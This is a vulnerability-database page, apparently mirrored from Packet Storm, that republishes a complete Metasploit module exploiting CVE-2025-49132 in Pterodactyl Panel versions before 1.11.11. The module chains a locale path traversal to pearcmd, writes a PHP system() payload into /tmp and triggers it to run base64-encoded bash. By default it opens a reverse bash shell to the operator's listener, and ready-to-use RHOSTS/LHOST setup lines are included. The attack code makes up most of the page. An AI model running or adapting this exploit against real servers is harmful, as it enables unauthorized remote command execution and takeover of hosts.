Lucene search
K

📄 Pterodactyl Panel Remote Code Execution

🗓️ 17 Feb 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 211 Views

RCE in Pterodactyl Panel before 1.11.11 enables locale-based PHP write and remote command execution.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for CVE-2025-49132
12 Feb 202616:19
githubexploit
GithubExploit
Exploit for CVE-2025-49132
16 Feb 202612:58
githubexploit
GithubExploit
Exploit for CVE-2025-49132
11 Feb 202612:18
githubexploit
GithubExploit
Exploit for CVE-2025-49132
7 Feb 202621:36
githubexploit
GithubExploit
Exploit for CVE-2025-49132
25 Jun 202518:05
githubexploit
GithubExploit
Exploit for CVE-2025-49132
8 Feb 202612:28
githubexploit
GithubExploit
Exploit for CVE-2025-49132
10 Feb 202614:21
githubexploit
GithubExploit
Exploit for CVE-2025-49132
23 Jun 202520:51
githubexploit
GithubExploit
Exploit for CVE-2025-49132
11 Feb 202608:19
githubexploit
GithubExploit
Exploit for CVE-2025-49132
18 Aug 202512:10
githubexploit
Rows per page
=============================================================================================================================================
    | # Title     : Pterodactyl Panel < 1.11.11 Remote Code Execution Vulnerability                                                             |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.3 (64 bits)                                                            |
    | # Vendor    : https://pterodactyl.io/                                                                                                     |
    =============================================================================================================================================
    
    [+] Summary    : A Remote Code Execution (RCE) vulnerability exists in versions of Pterodactyl Panel prior to 1.11.11.
                     The issue allows an attacker to abuse the locale functionality to write a malicious PHP file to the server and subsequently execute arbitrary system commands. 
    				 Successful exploitation may lead to remote shell access under the privileges of the web server user.
    
    [+] POC : 
    
    set RHOSTS target.com
    set RPORT 80
    set TARGETURI /
    set LHOST your_ip
    set LPORT your_port
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'base64'
    require 'json'
    require 'rubygems' 
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Pterodactyl Panel < 1.11.11 Remote Code Execution',
            'Description' => %q{
              This module exploits a Remote Code Execution vulnerability in Pterodactyl Panel
              versions before 1.11.11. The vulnerability allows an attacker to write a malicious
              PHP file via the locale functionality and then execute it to gain a reverse shell.
            },
            'Author' => [
              'pwndalf', 
              'indoushka' 
            ],
            'License' => MSF_LICENSE,
            'References' => [
              ['CVE', '2025-49132'],
              ['URL', 'https://github.com/pwndalf/CVE-2025-49132-PoC']
            ],
            'Platform' => ['unix', 'linux'],
            'Arch' => [ARCH_CMD],
            'Targets' => [
              [
                'Unix Command',
                {
                  'Platform' => 'unix',
                  'Arch' => ARCH_CMD,
                  'Type' => :unix_cmd,
                  'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
                }
              ]
            ],
            'Privileged' => false,
            'DisclosureDate' => '2025-10-15',
            'DefaultTarget' => 0,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
            }
          )
        )
    
        register_options(
          [
            OptString.new('TARGETURI', [true, 'The base path to the Pterodactyl Panel', '/']),
            OptString.new('PEAR_PATH', [true, 'Path to the PHP PEAR library', '/usr/share/php/PEAR/']),
            OptString.new('TMP_FILE', [true, 'Temporary file name for payload', 'payload.php'])
          ]
        )
      end
    
      def check
    
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'version')
        })
    
        unless res
          return CheckCode::Unknown('Connection failed')
        end
    
        if res.code == 200 && res.body
          version = extract_version(res.body)
          
          if version
            vprint_status("Detected Pterodactyl version: #{version}")
    
            begin
              current_version = Gem::Version.new(version)
              vulnerable_version = Gem::Version.new('1.11.11')
              
              if current_version < vulnerable_version
                return CheckCode::Appears("Vulnerable version detected: #{version}")
              else
                return CheckCode::Safe("Patched version detected: #{version}")
              end
            rescue ArgumentError => e
              vprint_error("Invalid version format: #{e.message}")
              return CheckCode::Unknown('Invalid version format')
            end
          end
        end
    
        locale_res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'locales', 'locale.json')
        })
    
        if locale_res && locale_res.code == 200
          return CheckCode::Detected('Pterodactyl panel detected, but version could not be confirmed')
        end
    
        CheckCode::Safe('Target does not appear to be running Pterodactyl panel')
      rescue ::Rex::ConnectionError
        CheckCode::Unknown('Connection failed')
      end
    
      def extract_version(body)
    
        json_data = JSON.parse(body) rescue nil
        if json_data.is_a?(Hash) && json_data['version']
          return json_data['version']
        end
    
        if body =~ /<meta[^>]*name="version"[^>]*content="([^"]+)"[^>]*>/i
          return $1
        end
    
        if body =~ /Pterodactyl[^<]*v?(\d+\.\d+\.\d+)/i
          return $1
        end
    
        nil
      end
    
      def execute_command(cmd)
        encoded_cmd = Base64.strict_encode64(cmd)
        payload_cmd = "echo${IFS}#{encoded_cmd}${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash"
        write_uri = normalize_uri(target_uri.path, 'locales', 'locale.json')
        php_payload = "<?=system('#{payload_cmd}')?>"
        
        print_status("Attempting to write payload to #{datastore['TMP_FILE']}")
        write_res = send_request_cgi({
          'method' => 'GET',
          'uri' => write_uri,
          'vars_get' => {
            '+config-create+' => '',
            'locale' => "../../../../..#{datastore['PEAR_PATH']}",
            'namespace' => 'pearcmd',
            '/' => php_payload + " /tmp/#{datastore['TMP_FILE']}"
          }
        }, 10) 
        
        unless write_res && write_res.code == 200
          fail_with(Failure::NotVulnerable, 'Failed to write payload')
        end
        
        print_good("Payload written successfully")
    
        trigger_uri = normalize_uri(target_uri.path, 'locales', 'locale.json')
        
        print_status("Triggering payload...")
        begin
          send_request_cgi({
            'method' => 'GET',
            'uri' => trigger_uri,
            'vars_get' => {
              'locale' => '../../../../../../tmp',
              'namespace' => 'payload'
            }
          }, 5) 
        rescue ::Rex::ConnectionError, ::Rex::ConnectionTimeout
    
          vprint_status('Trigger request completed (expected timeout/error)')
        end
        
        print_status('Payload triggered. Check your listener for incoming connection.')
        
      rescue ::Rex::ConnectionError => e
        fail_with(Failure::Unreachable, e.message)
      end
    
      def exploit
    
        if payload.nil? || !payload.respond_to?(:encoded) || payload.encoded.to_s.empty?
          fail_with(Failure::BadConfig, 'No valid payload selected or payload is empty')
        end
        unless target['Type'] == :unix_cmd && Array(target.arch).include?(ARCH_CMD)
          fail_with(Failure::BadConfig, 'Target is not compatible with command payload')
        end
        
        print_status("Exploiting #{datastore['RHOSTS']}:#{datastore['RPORT']}")
        command = payload.encoded
        execute_command(command)
         handler
      end
    end
    	
    Greetings to :======================================================================
    jericho * Larry W. Cashdollar * r00t * Hussin-X * Malvuln (John Page aka hyp3rlinx)|
    ====================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

17 Feb 2026 00:00Current
6.5Medium risk
Vulners AI Score6.5
CVSS 3.110
EPSS0.12525
SSVC
211